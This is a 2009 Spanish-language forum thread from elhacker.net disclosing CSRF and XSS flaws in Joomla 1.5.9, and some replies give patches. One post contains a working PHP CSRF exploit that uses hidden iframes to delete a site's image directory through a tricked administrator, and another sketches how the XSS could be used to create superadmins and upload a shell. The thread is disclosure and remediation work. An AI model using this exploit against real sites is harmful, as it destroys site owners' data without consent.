elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]  (Leído 24,651 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
« en: 9 Febrero 2009, 23:22 pm »

Vulnerabilidad de tipo CSRF en Joomla! 1.5.9

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:





Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705
« Última modificación: 27 Marzo 2009, 17:26 pm por WHK » En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #1 en: 9 Febrero 2009, 23:31 pm »


hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.
En línea

alakentu

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #2 en: 13 Febrero 2009, 15:41 pm »

Hola.

Y como logramos impedir esto?
Cual es el código a insertar/utilzar, para remediar dicha falla?

Será que soy muy bruto y ademas que no pico código que no lo veo por ningun lado!

Cual es la solución a esto hermano.?
En línea

alakentu

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #3 en: 13 Febrero 2009, 16:19 pm »

Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:

Código:
        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit( 'Invalid Token' );



* Debemos cambiarlo por esto:

Código:
        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit(JText::_('JINVALID_TOKEN'));


* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos

Código:
                          if ($path !== JFile::makeSafe($path)) {

* Cambiarlo a:

Código:
                                if ($path !== JFilterInput::clean($path, 'path')) {

Más abajo en la línea 100 tenemos:

Código:
                JRequest::checkToken() or jexit( 'Invalid Token' );

* Cambiarlo a:

Código:
                JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

* Seguimos más abajo en la línea 120 y tenemos:

Código:
                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                JFile::write($path.DS."index.html", "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>");

* Cambiarlo a:

Código:
                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                $file = '<html>\n<body>\n</body>\n</html>';
                                JFile::write($path.DS.'index.html', $file);

Hasta ahora eso es todo lo que pude obtener.

Saludos
En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #4 en: 13 Febrero 2009, 20:20 pm »

@alakentu, la gran magia del

Código:
jexit(JText::_('JINVALID_TOKEN'));

-berz3k

PD: Voy a probar el fix
En línea

Dacan

Desconectado Desconectado

Mensajes: 237



Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #5 en: 13 Febrero 2009, 20:34 pm »

Muy buen aporte, lo probare en localhost.

saludos, Dacan  :D
En línea

invisible_hack


Desconectado Desconectado

Mensajes: 978


Invisible_Hack™ Nick Registrado ^^


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #6 en: 13 Febrero 2009, 20:50 pm »

Fantastico post, y muy bien detallado, aunque creo que seria mejor que lo reportaras a los interesados por privado y luego una vez corregido el bug lo explicases, mas que nada para evitar malos usos de esta información....
En línea

"Si no visitas mi blog, Chuck te dará una patada giratoria"
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #7 en: 13 Febrero 2009, 22:44 pm »

Pero este no sería subforo de bugs y exploits sin el exploit XD
Código
  1. <?php
  2. // Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
  3. // http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
  4. $WEB_VULNERABLE = 'http://www.ejemplo.com/';
  5. if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
  6. echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>';
  7. ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
  8. sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
  9. }
  10. // Continuamos con el plan...
  11. if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
  12. /* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
  13. foreach($archivos as $valor){
  14. // Reconociendo si es archivo o directorio
  15. if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
  16. echo '<iframe src="'.
  17. $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
  18. .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
  19. .'" width="1" height="1" frameborder="0"></iframe>';
  20. }
  21. }
  22. function obtener_archivos($url){
  23. $buffer = explode(']"> <a href="', file_get_contents($url));
  24. foreach($buffer as $item=> $valor){
  25.  if($item != '0'){ // Procesa solamente links
  26.   $temporal = explode('"', $valor);
  27.   $retorno[count($retorno)] = $temporal[0];
  28.  }
  29. }
  30. return $retorno;
  31. }
  32. ?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.
« Última modificación: 14 Febrero 2009, 00:57 am por WHK » En línea

alakentu

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #8 en: 13 Febrero 2009, 23:29 pm »

De hecho...

La vulnerabilidad se presenta en varios archivos y no solamente en file.php y default.php del com_media.

Hay otros componentes de joomla 1.5.9 que poseen la misma característica de "permiso" a los malos, para que puedan darnos un mal día.

Recomeindo amplaimente seguir de creca los cambios en joomla a travez de Joomla Code.

Saludos.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.606


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Múltiples fallas en Joomla 1.5.9
« Respuesta #9 en: 15 Febrero 2009, 04:40 am »

Vulnerabilidad de tipo XSS en Joomla! 1.5.9

Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:

Citar
http://www.ejemplo.com/portada/administrator/index.php?option=com_admin&task=sysinfo

El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:



Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  :P una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93
Código
  1. <?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>
Modificar por:
Código
  1. <?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.
« Última modificación: 15 Febrero 2009, 04:57 am por WHK » En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines